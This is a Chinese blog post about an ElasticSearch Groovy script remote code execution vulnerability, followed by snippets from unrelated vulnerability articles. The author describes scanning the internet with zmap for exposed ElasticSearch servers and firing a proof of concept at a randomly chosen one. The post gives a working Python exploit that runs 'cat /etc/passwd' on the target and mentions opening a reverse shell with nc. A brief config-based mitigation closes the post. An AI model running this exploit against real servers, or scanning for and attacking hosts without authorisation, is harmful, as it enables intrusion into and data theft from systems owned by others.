ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch?

它是一种分布式的、实时性的、由JAVA开发的搜索和分析引擎。

2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令。。。“任意”你懂的,比如:利用nc反弹shell。Groovy是一种运行在JVM上的脚本语言,语法和java很像,同样可以调用java中的各种对象和方法,但是Groovy的语法更简单。

先用zmap扫一下。。。。真的有很多是在公网上的,虽然服务器是内网但是9200端口被映射了出来。。。

从结果中找随便找一个,先用firefox看看,浏览器以post方式提交poc

觉得麻烦就用python写了一个。。。为了演示,没带批量功能。。。

附上代码:(请勿用于非法目的)

import sys
import json
import requests

query = json.dumps({"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}})

url = sys.argv[1]
request = requests.post(url, data=query)

result = json.loads(request.text)[‘hits‘][‘hits‘][0][‘fields‘][‘exp‘]

for i in result[0]:
    print i

ElasticSearch的groovy引起的代码执行,很多国内安全厂商给出的建议是一升了之,但是很多装了插件的应用服务器,升级之后会造成插件不能访问,甚至导致业务中断,目前比较折衷的解决方案是修改配置文件,禁用groovy脚本,在配置文件中添加:script.groovy.sandbox.enabled: false,重启es服务。

Good Luck!

时间: 2025-01-18 06:33:03

ElasticSearch Groovy脚本远程代码执行漏洞的相关文章

Bash远程代码执行漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多,但是影响范围不是很广泛,不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题. 其中最最简单的方法就是使用搜索引擎的hacking技术,这里我使用的Google Hacking语法结合Google API来进行链接的抓取.只不过在国内的话....需要加代理. 程序中的代理是我本地的goagent代理,端口是8087.如何检测漏洞思路也很简单,我这里直接根据服务器返回码进行判断的. 思路就是以上这些,下面还是和往常一样,

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

Samba远程代码执行漏洞(CVE-2017-7494)复现

简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(CVE-2017-7494) 演      示:服务器版“永恒之蓝”高危预警 (Samba远程命令执行漏洞CVE-2017-7494) 攻击演示 漏洞描述 影响版本 Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本. 这句话应该这么来理解,该漏洞影响Samba 3.5.0之后的

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了. 主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了. 复现过程 国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882 这里我们使用的是Ridter师傅改进过的脚本:https:

PHP 'ext/zip/php_zip.c'释放后重利用远程代码执行漏洞(CVE-2016-5773)

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中. PHP < 5.5.37, 5.6.x < 5.6.23, 7.x < 7.0.8版本,zip扩展php_zip.c未正确处理反序列化及垃圾收集,远程攻击者通过构造的序列化数据,可执行任意代码或造成拒绝服务. 解决方法 厂商补丁: PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://github.com/php/php-src/commit/f6aef680892

Microsoft Windows Messenger ActiveX控件远程代码执行漏洞(MS11-027)

漏洞描述 此次扫描检测到目标主机尚未安装MS11-027/KB2508272漏洞相应的HotFix,也未安装可以修正该漏洞的Service Pack,这意味着目标主机可能存在MS11-027/KB2508272漏洞. Microsoft Windows是微软发布的非常流行的操作系统. Microsoft Windows Messenger ActiveX控件在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞在使用ActiveX应用程序中执行任意脚本代码. Microsoft Internet

IE 浏览器存在远程代码执行漏洞

周一,微软向用户警告广受欢迎的 Internet Explorer 存在一个高危的漏洞,者利用此漏洞可以接管你的计算机,进而在你的电脑安装和卸载程序,查看.更改或删除数据,甚至创建具有完全用户权限的新帐户. 根据微软发布的安全公告,引发此漏洞的根本原因是脚本引擎(Scripting Engine)在内存中处理对象的方式.具体来说就是,Internet Explorer 中的脚本引擎在内存中处理对象时存在一个远程代码执行漏洞,该漏洞以这种方式来破坏内存,然后者可以在当前用户的上下文中执行任意代码.

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr